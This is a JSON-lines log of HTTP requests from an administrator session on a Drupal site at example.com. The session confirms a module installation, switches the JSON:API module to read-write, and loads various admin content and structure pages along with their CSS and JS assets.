{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=claro&include=eJxFi1EKgCAQBS9keaRYbZFHsoqu0vFbovDvMTMvIB0VlX34hotFlG8dlP3ZRqW8L7JlyNUtafxLiorJr3BCE4kURTzs0sT8Yg_UBCny", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/modules/list/confirm", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_Rj8FErIgCRmm_fqnNH-MBKqak3Tzzlv2cmHnva1IUDE.js?scope=footer&delta=1&language=en&theme=claro&include=eJxFi1EKgCAQBS9keaRYbZFHsoqu0vFbovDvMTMvIB0VlX34hotFlG8dlP3ZRqW8L7JlyNUtafxLiorJr3BCE4kURTzs0sT8Yg_UBCny", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/modules/list/confirm", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_5uXlz2e2qK3icTms7ZW2kFOaDl2e9vq8lXYWMY0zmJw.css?delta=1&language=en&theme=claro&include=eJxFjVEKAzEIBS-0bs5kUglSo4sxpe3pK2whv8O8eU3QrXSxigIzPsLaj2Ya9I6FUh6-LpRzE0jjOVNxKs3GZUoa81R8ccdgU4Awk4oOdUWY3uq_w0EjCzNuquYDhb907H3hvHJNebMfMydBAQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/modules/list/confirm", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_dwzS5I9OMr00BcXlUn2t2KsKkO9EWWCZE6LZ1FmemH0.css?delta=0&language=en&theme=claro&include=eJxFjVEKAzEIBS-0bs5kUglSo4sxpe3pK2whv8O8eU3QrXSxigIzPsLaj2Ya9I6FUh6-LpRzE0jjOVNxKs3GZUoa81R8ccdgU4Awk4oOdUWY3uq_w0EjCzNuquYDhb907H3hvHJNebMfMydBAQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/modules/list/confirm", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_vwLE_CZTWTR3i1176WdafZPd0GuZTOaM96RTRN5CTp0.js?scope=footer&delta=3&language=en&theme=claro&include=eJxFi1EKgCAQBS9keaRYbZFHsoqu0vFbovDvMTMvIB0VlX34hotFlG8dlP3ZRqW8L7JlyNUtafxLiorJr3BCE4kURTzs0sT8Yg_UBCny", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/modules/list/confirm", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/admin/modules/list/confirm", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/modules/list/confirm", "Cookie: SESSexample=example-session-value"], "body": "confirm=1&form_build_id=form-g3r5ZjoUbNVxAXsFI-wm70qV7waoi0wi6zuZPBDsUrU&form_token=gkxg1871lXWQF8ZemxwSn2XUPNst5Hpx-KNLlJwJ5DU&form_id=system_modules_confirm_form&op=Continue"}
{"method": "GET", "target": "/admin/config/services/jsonapi", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_2XXM5MZ_MIzS5taV4QGJgA5WOMfNbkQyy93p1WQyRNI.css?delta=0&language=en&theme=claro&include=eJxFzFEKxCAMRdENNXVN0YqEpnklxjLT1Y8wH_5eDrcoO1JTZFbq8VWxthVY1E8M1nT4uFn3VWiKs0_iNRVcN6xa9N34kcYhMKIANLNTHhGwPzX4xSpv3ZZMMqduc7_aDwZeOK8", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/config/services/jsonapi", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_VrhKC7-kxWGUIEsCT4AAFSWF6Z4UJH3OTQdHX4_R8pM.css?delta=1&language=en&theme=claro&include=eJxFzFEKxCAMRdENNXVN0YqEpnklxjLT1Y8wH_5eDrcoO1JTZFbq8VWxthVY1E8M1nT4uFn3VWiKs0_iNRVcN6xa9N34kcYhMKIANLNTHhGwPzX4xSpv3ZZMMqduc7_aDwZeOK8", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/config/services/jsonapi", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/admin/config/services/jsonapi", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/config/services/jsonapi", "Cookie: SESSexample=example-session-value"], "body": "read_only=rw&form_build_id=form-WZnlHr3p1LhSxN6dPUx293-ltyG4QtYSRksVbr20Mzg&form_token=3lcJI3eAzFu8-0sfi7vAMI3eU2V91VUFYTwTcOLf7l8&form_id=jsonapi_settings&op=Save+configuration"}
{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=claro&include=eJxVzGEKgDAIQOELrXYmMRmSuaFudPxGUNHf98HDqkFndJC8WW8gK75lEdbdE1ajBwGDB93w6we5Q6GkMLhAcNXMc2M67WsXMjYquA", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/config/services/jsonapi", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_v-Yw0xKoOugqNPSjJ5Uq4iDp8HsOpoK3gpMm6zQyQf0.js?scope=footer&delta=1&language=en&theme=claro&include=eJxVzGEKgDAIQOELrXYmMRmSuaFudPxGUNHf98HDqkFndJC8WW8gK75lEdbdE1ajBwGDB93w6we5Q6GkMLhAcNXMc2M67WsXMjYquA", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/config/services/jsonapi", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_xN42W8Ek2DB8BqQV6yHIuvbUBLGM5TZ2vbsUruJAfoM.css?delta=0&language=en&theme=claro&include=eJxLzi9K1U8pKi1IzNErSi1OLdFNLChITSxKzEtOBQCdwwrv&exclude=eJxFjEEOwjAMBD-UNE9CjokiC9cbJU5FeT0VBXobrWaWYV6ePknTvc9GuvB_iSr2GIHRSzL0lVReJbBSR6qKfBjD90Oqp_M9IHbZyicORptUcoGlCxelHdPPiLE2WDEfy2XE6IBm6jFPd1jIUm9NWkk_eAMPukfa", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_oqDrM0IhMLn8AZOW50puF3Yhjjr8wcLaRDch0LJwjvg.js?scope=footer&delta=0&language=en&theme=claro&include=eJxLzkksytdPKSotSMzRy0ss0y1JTCoGAFlaCBM&exclude=eJxFjEEOwjAMBD-UNE9CjokiC9cbJU5FeT0VBXobrWaWYV6ePknTvc9GuvB_iSr2GIHRSzL0lVReJbBSR6qKfBjD90Oqp_M9IHbZyicORptUcoGlCxelHdPPiLE2WDEfy2XE6IBm6jFPd1jIUm9NWkk_eAMPukfa", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=claro&include=eJxljdEKgCAMRX_I8pNi2pDRmEOn9PlJFBK9Xc45cAOlTUnRh2e4mMXwtAbs99IUeJ1kYZKjjqTgKyEadbzFhxsExoJVs9QR_F1FxmhOoFMCoyyexk2R4Se7AGS2PkQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_Rj8FErIgCRmm_fqnNH-MBKqak3Tzzlv2cmHnva1IUDE.js?scope=footer&delta=1&language=en&theme=claro&include=eJxljdEKgCAMRX_I8pNi2pDRmEOn9PlJFBK9Xc45cAOlTUnRh2e4mMXwtAbs99IUeJ1kYZKjjqTgKyEadbzFhxsExoJVs9QR_F1FxmhOoFMCoyyexk2R4Se7AGS2PkQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_BlPFDilS_oEhwF0HDxZ480ulASjw5IudrBkkXsaaxvI.css?delta=0&language=en&theme=claro&include=eJxljkkOAyEMBD_E8iYDFkEx9siYyfL6oEwkDrn0oVQqdSZQiZUkAflhL2pcXRY2fNoEikXnARQ28cu4j6Uoxiz9EEa2ERjOVsGasPcmQgnUp2kmfKm_jkEivCEU1H8-RO2iLNqB2hvd7sa2LigveTN3NnyM-N3QpUzCD4lnUc8", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/content", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_65vRiN4T0Zm5WPkTX4WXHxzogBsxjBWtemrAP7Ianv0.css?delta=1&language=en&theme=claro&include=eJxljkkOAyEMBD_E8iYDFkEx9siYyfL6oEwkDrn0oVQqdSZQiZUkAflhL2pcXRY2fNoEikXnARQ28cu4j6Uoxiz9EEa2ERjOVsGasPcmQgnUp2kmfKm_jkEivCEU1H8-RO2iLNqB2hvd7sa2LigveTN3NnyM-N3QpUzCD4lnUc8", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/content", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_CcEISLR1pk_U-fpVvH09p2TLaOmRHxcIbXaUgsAf38o.js?scope=footer&delta=3&language=en&theme=claro&include=eJxljdEKgCAMRX_I8pNi2pDRmEOn9PlJFBK9Xc45cAOlTUnRh2e4mMXwtAbs99IUeJ1kYZKjjqTgKyEadbzFhxsExoJVs9QR_F1FxmhOoFMCoyyexk2R4Se7AGS2PkQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/files", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=claro&include=eJxVjNEKgCAMRX-o8pNi2pDRmGNO6fOTKKS3yzmHGynvSoohvmNJRRwvb8DhsKbA2yQrk5x1JIafhOTU8RE_7hAZDasWqSNYBDplcCoSaNyZjGayGwP4NQI", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content/files", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_Rj8FErIgCRmm_fqnNH-MBKqak3Tzzlv2cmHnva1IUDE.js?scope=footer&delta=1&language=en&theme=claro&include=eJxVjNEKgCAMRX-o8pNi2pDRmGNO6fOTKKS3yzmHGynvSoohvmNJRRwvb8DhsKbA2yQrk5x1JIafhOTU8RE_7hAZDasWqSNYBDplcCoSaNyZjGayGwP4NQI", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content/files", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_65vRiN4T0Zm5WPkTX4WXHxzogBsxjBWtemrAP7Ianv0.css?delta=1&language=en&theme=claro&include=eJxFjUkOAyEMBD_E8ibDWMiKsUfGTJbXB2UicelDqbq7MpjmxlqA4_A3k7RQVRxfPoHzYfMETpvEZTzGUgxz1X6qoPhIAhc1cFKJ0VW5gMUy3VVu9b_jUBiHmt9U1DowfTDsfqZ1ZbLkzcJF-Bz5l6nrMRm_XhtIpA", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/content/files", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_DAGcX-roZwuoTrgJMQuFtrMOlf7B6qygq9ldzK5J9fQ.css?delta=0&language=en&theme=claro&include=eJxFjUkOAyEMBD_E8ibDWMiKsUfGTJbXB2UicelDqbq7MpjmxlqA4_A3k7RQVRxfPoHzYfMETpvEZTzGUgxz1X6qoPhIAhc1cFKJ0VW5gMUy3VVu9b_jUBiHmt9U1DowfTDsfqZ1ZbLkzcJF-Bz5l6nrMRm_XhtIpA", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/content/files", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_MzYQPMFC12WkHnUb4AyqSN5rpid4chCag_aR1pChSsQ.js?scope=footer&delta=3&language=en&theme=claro&include=eJxVjNEKgCAMRX-o8pNi2pDRmGNO6fOTKKS3yzmHGynvSoohvmNJRRwvb8DhsKbA2yQrk5x1JIafhOTU8RE_7hAZDasWqSNYBDplcCoSaNyZjGayGwP4NQI", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content/files", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/contextual/render?theme=claro", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/admin/content/files", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=entity.view.edit_form%3Aview%3Dfiles%3Alocation%3Dpage%26name%3Dfiles%26display_id%3Dpage_1%26langcode%3Den&tokens%5B%5D=Cypp2HJrw0AOe1SofB-g18guU4gfVM4DwiYMLTrp7Vo"}
{"method": "GET", "target": "/admin/content/media", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=claro&include=eJxVjFEKgCAQBS9UeaRYbZFHyyq6SsdPopD-HjPD84h7Rmbn37GEpMaXNRJ3lJZJtklWgZ51JIU_ScHQ-RE_buSFKwsHW5Q6IhmSOoyrosNPdgMrQjM0", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content/media", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_Rj8FErIgCRmm_fqnNH-MBKqak3Tzzlv2cmHnva1IUDE.js?scope=footer&delta=1&language=en&theme=claro&include=eJxVjFEKgCAQBS9UeaRYbZFHyyq6SsdPopD-HjPD84h7Rmbn37GEpMaXNRJ3lJZJtklWgZ51JIU_ScHQ-RE_buSFKwsHW5Q6IhmSOoyrosNPdgMrQjM0", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content/media", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_PIXqWZRZfDre6leYgjG1ppL5f4T6fgWnaJOocJBHvSs.js?scope=footer&delta=3&language=en&theme=claro&include=eJxVjFEKgCAQBS9UeaRYbZFHyyq6SsdPopD-HjPD84h7Rmbn37GEpMaXNRJ3lJZJtklWgZ51JIU_ScHQ-RE_buSFKwsHW5Q6IhmSOoyrosNPdgMrQjM0", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content/media", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/contextual/render?theme=claro", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/admin/content/media", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=entity.view.edit_form%3Aview%3Dmedia%3Alocation%3Dpage%26name%3Dmedia%26display_id%3Dmedia_page_list%26langcode%3Den&tokens%5B%5D=gRSv7UHLkroVt8nCE9bjv39cQ2rcWbPgIomvr8XYvPU"}
{"method": "GET", "target": "/admin/content/block", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/contextual/render?theme=claro", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/admin/content/block", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=entity.view.edit_form%3Aview%3Dblock_content%3Alocation%3Dpage%26name%3Dblock_content%26display_id%3Dpage_1%26langcode%3Den&tokens%5B%5D=7taM7aKonK2Mcsm70tCmCBC6-KRZ5TStMivh9X4pq-8"}
{"method": "GET", "target": "/admin/content/comment", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=olivero&include=eJxFjEEOgDAIBD9U7ZsQm4aI0CAa-3uJifU6s7Oo4uX2EzivdjbgGQeZmGQ7EqqVTwI6XeUVSeCiCk4qmSIxCf-zpBxL01xZl_g6vEdVB_6XUzPawfoD-vI22A", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content/comment", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_qhwQ8jvh5-NzL8fRjdtXDUU3Co41JbElOhNplEhbA0U.css?delta=0&language=en&theme=olivero&include=eJxtjkEOwyAMBD8E4U2GWAjF2Mh20vL7ckpy6HVGmt0i7Pj1Eyjteg6grdwkUuPDQhHFVKQPYWS3jeFqFbwJx-gilEFjPt2Fw6NSWxXl1XtYEGoXqqRKklfefK6FeuNXeGjroPOfMlwP97cc8kHFPeYZM0k5gk1z7CmD4Q_pfVgx", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/content/comment", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_xXCDbP-RAFtr_qi4RQmy83L1Stl0GIDonFQNXSDjcIM.css?delta=1&language=en&theme=olivero&include=eJxtjkEOwyAMBD8E4U2GWAjF2Mh20vL7ckpy6HVGmt0i7Pj1Eyjteg6grdwkUuPDQhHFVKQPYWS3jeFqFbwJx-gilEFjPt2Fw6NSWxXl1XtYEGoXqqRKklfefK6FeuNXeGjroPOfMlwP97cc8kHFPeYZM0k5gk1z7CmD4Q_pfVgx", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/content/comment", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_hu2qYVXcDNCCkSE_yDBAQwtnjk6xIKxwvzSYExQhhJk.js?scope=footer&delta=1&language=en&theme=olivero&include=eJxFjEEOgDAIBD9U7ZsQm4aI0CAa-3uJifU6s7Oo4uX2EzivdjbgGQeZmGQ7EqqVTwI6XeUVSeCiCk4qmSIxCf-zpBxL01xZl_g6vEdVB_6XUzPawfoD-vI22A", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content/comment", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/structure", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/structure/types", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
